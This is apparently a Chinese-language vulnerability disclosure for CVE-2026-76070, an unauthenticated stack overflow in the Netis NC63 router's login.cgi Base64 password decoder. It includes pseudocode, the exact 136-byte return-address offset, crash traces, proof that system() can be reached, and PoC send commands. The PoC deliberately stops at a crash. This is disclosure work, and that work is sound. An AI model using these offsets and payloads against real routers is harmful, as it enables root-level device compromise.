login.cgi 中通过 Base64 解码密码导致的未认证预认证栈缓冲区溢出,可导致 RCE研究人员: Özcan Ersan (@ozcanpng)
CVE-2026-76070NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/login.cgipasswordNetis NC63 固件 V3.0.0.3327 中的公共登录处理程序获取攻击者控制的 password 参数,并使用自定义 Base64 例程 FUN_00402bd4 对其进行解码。调用方提供 64 字节的局部栈缓冲区,但未将其容量传递给解码器。解码器根据编码输入进行计算并写入解码后的字节,而不检查目标边界。
保存的 MIPS 返回地址距解码缓冲区起始位置 136 字节。针对原始哈希生产 CGI 的动态测试确认:
B 模式会在 0x42424242 处产生故障;ra 替换为 0x0041a2e0 会导致观察到第二次进入登录处理程序,证明程序计数器可控;a0 值到达原始二进制文件的直接 system() 调用。替换的 /bin/sh 记录了 /bin/sh -c NC63_RCE_PROOF 且未执行任何命令。本仓库中的公共 PoC 故意止步于崩溃模式。它不包含返回链、shellcode、命令、反向 shell 或持久化。
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
经动态测试的 /bin/netis.cgi 副本与厂商提取的可执行文件具有相同的 SHA-256。

厂商前端将密码以 Base64 形式发送到公共端点:
obj.password = base64encode(utf16to8(password));
request({
url: "/cgi-bin/login.cgi",
data: obj
});
HTML 字段使用 maxlength="63",但这只是浏览器端的限制。直接 HTTP 客户端可以提交更大的编码值。

login.cgi 在认证之前必然是可访问的。不安全的解码发生在解码后的密码与配置的管理员密码进行比较之前。无需任何有效会话、Cookie 头、Authorization 头或正确密码。
Unauthenticated HTTP client
|
| POST /cgi-bin/login.cgi
| password=<attacker-controlled Base64>
v
/bin/netis.cgi: FUN_0041a2e0
|
| get_request_param("password")
v
FUN_00402bd4(decoded_stack_buffer, encoded_password)
|
| no destination-capacity argument
| decoded output exceeds 64 bytes
v
saved s8 at decoded offset 132
saved ra at decoded offset 136
|
v
attacker-selected MIPS PC
Ghidra 派生的伪代码,名称已规范化以便阅读:
int login_cgi(void *request)
{
char decoded[64];
char stored[68];
char *password;
memset(decoded, 0, 64);
memset(stored, 0, 64);
password = get_request_param(request, "password");
if (password != NULL)
FUN_00402bd4(decoded, password); /* no capacity argument */
apmib_get(0x15e, stored);
if (strcmp(decoded, stored) == 0)
printf("[\"SUCCESS\"]");
else {
system("echo 0 >/tmp/boa_auth");
printf("[\"%d\"]", 0x15);
}
return 0;
}

FUN_00402bd4 处的解码器仅接收目标指针和源指针。其循环推进目标指针,并为每四个 Base64 符号存储最多三个解码字节。没有任何比较检查目标是否超出 decoded + 64。

Base64 只是输入转换方式,并非根本缺陷。根本原因是攻击者控制的解码长度与固定大小且容量从未被强制执行的目标缓冲区之间的不匹配。对于普通的带填充输入,四个编码字符最多表示三个解码字节;因此服务器端检查必须在写入之前计算并验证解码后的大小。
FUN_0041a2e0 起始于 0x0041a2e0,创建了一个 0xa8 字节的栈帧:
0041a2e0 addiu sp,sp,-168
0041a2e4 sw ra,164(sp)
0041a2e8 sw s8,160(sp)
0041a2ec move s8,sp
解码目标起始于 s8+0x1c;保存的 s8 和保存的 ra 分别位于 s8+0xa0 和 s8+0xa4:
decoded[64] s8+0x1c decoded offset 0
saved s8 s8+0xa0 decoded offset 132
saved ra s8+0xa4 decoded offset 136
精确的返回地址距离为 0xa4 - 0x1c = 0x88,即 136 字节。

140 字节的解码 B 模式替换了四字节的保存返回地址:
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault)

另一组 140 字节输入将保存的 ra 设置为 0x0041a2e0。QEMU CPU 跟踪记录了普通的第一处理程序入口,随后是 s8=0x41414141 且 ra=0x0041a2e0 的第二次入口。

原始二进制文件在 0x0041a3cc 处包含直接的 jal system。在私有隔离验证中,现有的固定基址指令将标记加载到 a0 并到达该调用。一个静态观察程序被挂载到 /bin/sh 上;它记录了命令解释器参数但未执行任何操作:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_RCE_PROOF>
CONTROLLED_MARKER_REACHED
PASS: attacker-controlled a0 reached system() and /bin/sh argv.
PASS: the guard logged the request and executed no command.
这证明了隔离生产代码路径中的 RCE 原语。它并不表明在物理路由器上在其部署的内核和栈随机化配置下具有相同的利用可靠性。
原始 Boa 配置指定 User root、Group root 以及包含 /bin 和 /web/cgi-bin 的 CGI 路径。生产可执行文件为固定基址(0x00400000),没有栈 canary 或 RELRO,并声明了带有 RWX 段的可执行 GNU 栈。


包含的脚本默认以 dry-run 模式运行,仅生成一个包含解码后 140 个 B 字节的 Base64 表单体:
python3 poc/poc.py
发送需要显式的授权目标和 --send:
python3 poc/poc.py --target http://192.168.1.1 --send
发送该模式可能导致 CGI 进程崩溃。仅在授权的、可丢弃的环境中使用。该 PoC 未实现私有的 RCE 验证链。
成功利用可以在路由器管理上下文中执行攻击者选择的代码或命令。在原始 Boa 配置下,该上下文以 root 身份运行。潜在后果包括配置和机密泄露、DNS/防火墙/路由操纵、流量重定向、服务中断以及设备完全沦陷。
FUN_00402bd4 的每个调用方。参见 evidence/README.md 了解截图和追踪映射。规范化后的 Ghidra 摘录位于 attachments/decompiled-functions/。
CVE-2026-76070 并授权公开披露。未刷写任何物理路由器。未使用任何真实的 shell 命令、反向 shell、持久化、外部连接、凭据窃取或破坏性固件操作。